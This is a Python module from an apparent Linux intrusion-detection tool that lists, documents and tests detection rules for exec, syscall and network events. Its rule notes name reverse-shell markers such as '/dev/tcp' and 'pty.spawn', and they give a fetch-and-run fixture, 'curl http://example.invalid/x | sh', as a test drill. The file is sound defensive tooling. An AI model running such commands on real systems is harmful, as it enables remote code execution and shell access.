enodia-sentinal/enodia_sentinel/ruleops.py
2026-07-09 06:04:30 -07:00

355 lines
14 KiB
Python

# SPDX-License-Identifier: GPL-3.0-or-later
"""Operator-facing helpers for inspecting and testing detection rules."""
from __future__ import annotations
import json
from pathlib import Path
from typing import Any
from .alert import Alert
from .config import Config
from .events.exec_event import ExecEvent
from .events.host_event import HostEvent
from .events.host_rules import DEFAULT_HOST_RULES, HostRule, HostRuleEngine
from .events.rules import DEFAULT_EXEC_RULES, ExecRule, ExecRuleEngine
from .events.syscall_event import SyscallEvent
from .events.syscall_rules import (
DEFAULT_SYSCALL_RULES,
SyscallRule,
SyscallRuleEngine,
)
def list_rules(cfg: Config) -> list[dict[str, Any]]:
"""Return built-in and configured event rules as stable dictionaries."""
exec_builtin = {r.sid for r in DEFAULT_EXEC_RULES}
syscall_builtin = {r.sid for r in DEFAULT_SYSCALL_RULES}
host_builtin = {r.sid for r in DEFAULT_HOST_RULES}
records = [
_exec_rule_record(r, "builtin" if r.sid in exec_builtin else "configured")
for r in ExecRuleEngine.load(cfg.exec_rules_file).rules
]
records.extend(
_syscall_rule_record(r, "builtin" if r.sid in syscall_builtin else "configured")
for r in SyscallRuleEngine().rules
)
records.extend(
_host_rule_record(r, "builtin" if r.sid in host_builtin else "configured")
for r in HostRuleEngine().rules
)
return sorted(records, key=lambda r: (int(r["sid"]), str(r["event"])))
def find_rule(cfg: Config, sid: int) -> dict[str, Any] | None:
for record in list_rules(cfg):
if record["sid"] == sid:
return record
return None
def render_markdown(cfg: Config) -> str:
"""Render active event-rule metadata as operator documentation."""
lines = [
"# Enodia Sentinel Event Rule Reference",
"",
"Generated from the active exec/syscall/host-event rule defaults plus "
"any configured `exec_rules_file` entries.",
"",
"Use `enodia-sentinel rules list/show/test` to inspect rules and validate "
"event fixtures locally.",
"",
]
for rule in list_rules(cfg):
doc = _RULE_DOCS.get(rule["sid"], {})
lines.extend([
f"## SID {rule['sid']}: {rule['msg']}",
"",
f"- Event: `{rule['event']}`",
f"- Signature: `{rule['signature']}`",
f"- Classtype: `{rule['classtype']}`",
f"- Severity: `{rule['severity']}`",
f"- Origin: `{rule['origin']}`",
"",
"Match fields:",
])
conditions = rule.get("conditions", {})
if conditions:
for key, value in conditions.items():
lines.append(f"- `{key}`: {_format_condition(value)}")
else:
lines.append("- none")
lines.extend([
"",
"Expected false positives:",
])
for fp in doc.get("false_positives", _default_false_positives(rule)):
lines.append(f"- {fp}")
lines.extend([
"",
f"Drill or fixture: {doc.get('drill', _default_drill(rule))}",
"",
])
return "\n".join(lines).rstrip() + "\n"
def load_event_json(path: str) -> dict[str, Any]:
if path == "-":
import sys
return json.loads(sys.stdin.read())
return json.loads(Path(path).read_text())
def test_event(cfg: Config, event: dict[str, Any]) -> list[Alert]:
kind = _event_kind(event)
if kind == "exec":
return list(ExecRuleEngine.load(cfg.exec_rules_file).match(_exec_event(event)))
if kind == "syscall":
return list(SyscallRuleEngine().match(_syscall_event(event)))
if kind == "host":
return list(HostRuleEngine().match(_host_event(event)))
raise ValueError("event JSON must be an exec, syscall, or host event")
def _exec_rule_record(rule: ExecRule, origin: str) -> dict[str, Any]:
conditions: dict[str, Any] = {}
if rule.path_prefixes:
conditions["path_prefixes"] = list(rule.path_prefixes)
if rule.exec_comm:
conditions["exec_comm"] = sorted(rule.exec_comm)
if rule.parent_comm:
conditions["parent_comm"] = sorted(rule.parent_comm)
if rule.argv_regex:
conditions["argv_regex"] = rule.argv_regex
if rule.parent_exclude:
conditions["parent_exclude"] = sorted(rule.parent_exclude)
return {
"sid": rule.sid,
"event": "exec",
"origin": origin,
"severity": str(rule.severity),
"classtype": rule.classtype,
"signature": f"exec_rule.{rule.classtype}",
"msg": rule.msg,
"conditions": conditions,
}
def _syscall_rule_record(rule: SyscallRule, origin: str) -> dict[str, Any]:
return {
"sid": rule.sid,
"event": "syscall",
"origin": origin,
"severity": str(rule.severity),
"classtype": rule.classtype,
"signature": f"syscall_rule.{rule.classtype}",
"msg": rule.msg,
"conditions": {
"syscalls": sorted(rule.syscalls),
"predicate": "built-in predicate",
},
}
def _host_rule_record(rule: HostRule, origin: str) -> dict[str, Any]:
conditions: dict[str, Any] = {
"events": sorted(rule.events),
}
if rule.comm:
conditions["comm"] = sorted(rule.comm)
if rule.parent_comm:
conditions["parent_comm"] = sorted(rule.parent_comm)
if rule.peer_public is not None:
conditions["peer_public"] = rule.peer_public
if rule.peer_ports:
conditions["peer_ports"] = sorted(rule.peer_ports)
if rule.peer_port_exclude:
conditions["peer_port_exclude"] = sorted(rule.peer_port_exclude)
if rule.argv_regex:
conditions["argv_regex"] = rule.argv_regex
return {
"sid": rule.sid,
"event": ",".join(sorted(rule.events)),
"origin": origin,
"severity": str(rule.severity),
"classtype": rule.classtype,
"signature": f"host_rule.{rule.classtype}",
"msg": rule.msg,
"conditions": conditions,
}
_RULE_DOCS: dict[int, dict[str, Any]] = {
100001: {
"false_positives": [
"Temporary build or installer helpers intentionally executed from `/tmp`, `/var/tmp`, or `/dev/shm`.",
"One-shot administrative diagnostics copied into a writable directory.",
],
"drill": "`sentinel-redteam ebpf_exec` fires a short-lived writable-path execution event when the eBPF exec monitor is enabled.",
},
100002: {
"false_positives": [
"Security training labs or safe self-tests that intentionally include reverse-shell command text.",
"Benign scripts containing literal `/dev/tcp` or `pty.spawn` examples in their argv.",
],
"drill": "`sentinel-redteam ebpf_exec` emits a `/dev/tcp` argv fixture; `rules test` can validate a captured exec JSON event offline.",
},
100003: {
"false_positives": [
"Legitimate web applications invoking maintenance scripts through shell wrappers.",
"Database or web service containers whose entrypoint intentionally spawns an interpreter.",
],
"drill": "Use `rules test` with an exec event whose `parent_comm` is a web/database service and whose `filename` is an interpreter.",
},
100004: {
"false_positives": [
"Bootstrap scripts that intentionally pipe downloaded install content into a shell.",
"Developer setup tooling run interactively during provisioning.",
],
"drill": "Use `rules test` with argv like `curl http://example.invalid/x | sh`.",
},
100060: {
"false_positives": [
"JIT runtimes or emulators that make pages writable and executable.",
"Security tooling that deliberately tests W^X policy.",
],
"drill": "Use `rules test` with syscall `mprotect` and `args[2]` containing write+exec permissions, for example `0x6`.",
},
100061: {
"false_positives": [
"JIT runtimes, emulators, or language VMs that allocate RWX memory.",
"Compatibility layers that request executable writable mappings.",
],
"drill": "Use `rules test` with syscall `mmap` and `args[2]` containing write+exec permissions.",
},
100062: {
"false_positives": [
"Browsers, sandbox helpers, and runtimes that legitimately use anonymous memfd files.",
"Container or IPC frameworks using memfd as a transport primitive.",
],
"drill": "Use `rules test` with syscall `memfd_create`; include `text` to document the captured name.",
},
100063: {
"false_positives": [
"Debuggers, profilers, crash handlers, and endpoint tooling that attach to processes.",
"Developer sessions running `strace`, `gdb`, or similar tracing tools.",
],
"drill": "Use `rules test` with syscall `ptrace` and request `16` (`PTRACE_ATTACH`) or `0x4206` (`PTRACE_SEIZE`).",
},
100064: {
"false_positives": [
"Browsers, container runtimes, and sandboxed services enabling seccomp as normal hardening.",
"Security test harnesses validating seccomp policy.",
],
"drill": "Use `rules test` with syscall `seccomp`, or syscall `prctl` with `arg0` set to `22` (`PR_SET_SECCOMP`).",
},
100065: {
"false_positives": [
"Debuggers, profilers, memory scanners, and EDR tools inspecting another process.",
"Backup or checkpoint tooling that reads process memory intentionally.",
],
"drill": "Use `rules test` with syscall `process_vm_readv` or `process_vm_writev`.",
},
100066: {
"false_positives": [
"Databases, crypto agents, and credential stores locking sensitive memory.",
"Realtime or performance-sensitive services using `mlock` intentionally.",
],
"drill": "Use `rules test` with syscall `mlock`, `mlock2`, or `mlockall`.",
},
100067: {
"false_positives": [
"Interactive admin scripts that intentionally connect to a non-standard public service.",
"Developer tooling using interpreters for custom APIs on high ports.",
],
"drill": "Use `rules test` with a `tcp_connect` event whose `comm` is an interpreter and whose public `peer_port` is not a common service port.",
},
}
def _format_condition(value: Any) -> str:
if isinstance(value, list):
return ", ".join(f"`{v}`" for v in value) or "`[]`"
return f"`{value}`"
def _default_false_positives(rule: dict[str, Any]) -> list[str]:
if rule.get("origin") == "configured":
return ["Operator supplied rule; document expected benign matches beside the TOML rule."]
return ["No documented benign case yet; validate with `rules test` before tuning."]
def _default_drill(rule: dict[str, Any]) -> str:
if rule.get("origin") == "configured":
return "Use `enodia-sentinel rules test <event-json>` with a fixture that should match the configured rule."
return "Use `enodia-sentinel rules test <event-json>` with a representative fixture."
def _event_kind(event: dict[str, Any]) -> str:
explicit = str(event.get("event") or event.get("type") or "").lower()
if explicit in {"exec", "execve"}:
return "exec"
if explicit in {"syscall", "sys"}:
return "syscall"
if explicit in {
"tcp_connect", "bind", "listen", "accept", "file_write",
"chmod", "chown", "setuid", "setgid", "capset", "module_load",
}:
return "host"
if "filename" in event or "argv" in event or "parent_comm" in event:
return "exec"
if "syscall" in event or "args" in event:
return "syscall"
return ""
def _exec_event(event: dict[str, Any]) -> ExecEvent:
return ExecEvent(
pid=_to_int(event.get("pid", 0)),
ppid=_to_int(event.get("ppid", 0)),
uid=_to_int(event.get("uid", 0)),
parent_comm=str(event.get("parent_comm", "")),
filename=str(event.get("filename", "")),
argv=tuple(str(a) for a in event.get("argv", ())),
)
def _syscall_event(event: dict[str, Any]) -> SyscallEvent:
args = list(event.get("args", ()))
args.extend([0] * (6 - len(args)))
return SyscallEvent(
pid=_to_int(event.get("pid", 0)),
ppid=_to_int(event.get("ppid", 0)),
uid=_to_int(event.get("uid", 0)),
comm=str(event.get("comm", "")),
syscall=str(event.get("syscall", "")),
arg0=_to_int(event.get("arg0", args[0])),
arg1=_to_int(event.get("arg1", args[1])),
arg2=_to_int(event.get("arg2", args[2])),
arg3=_to_int(event.get("arg3", args[3])),
arg4=_to_int(event.get("arg4", args[4])),
arg5=_to_int(event.get("arg5", args[5])),
text=str(event.get("text", "")),
)
def _host_event(event: dict[str, Any]) -> HostEvent:
return HostEvent(
event=str(event.get("event") or event.get("type") or ""),
pid=_to_int(event.get("pid", 0)),
ppid=_to_int(event.get("ppid", 0)),
uid=_to_int(event.get("uid", 0)),
comm=str(event.get("comm", "")),
parent_comm=str(event.get("parent_comm", "")),
path=str(event.get("path", "")),
argv=tuple(str(a) for a in event.get("argv", ())),
peer_ip=str(event.get("peer_ip", event.get("remote_ip", ""))),
peer_port=_to_int(event.get("peer_port", event.get("remote_port", 0))),
local_ip=str(event.get("local_ip", "")),
local_port=_to_int(event.get("local_port", 0)),
)
def _to_int(value: Any) -> int:
if isinstance(value, str):
return int(value, 0)
return int(value)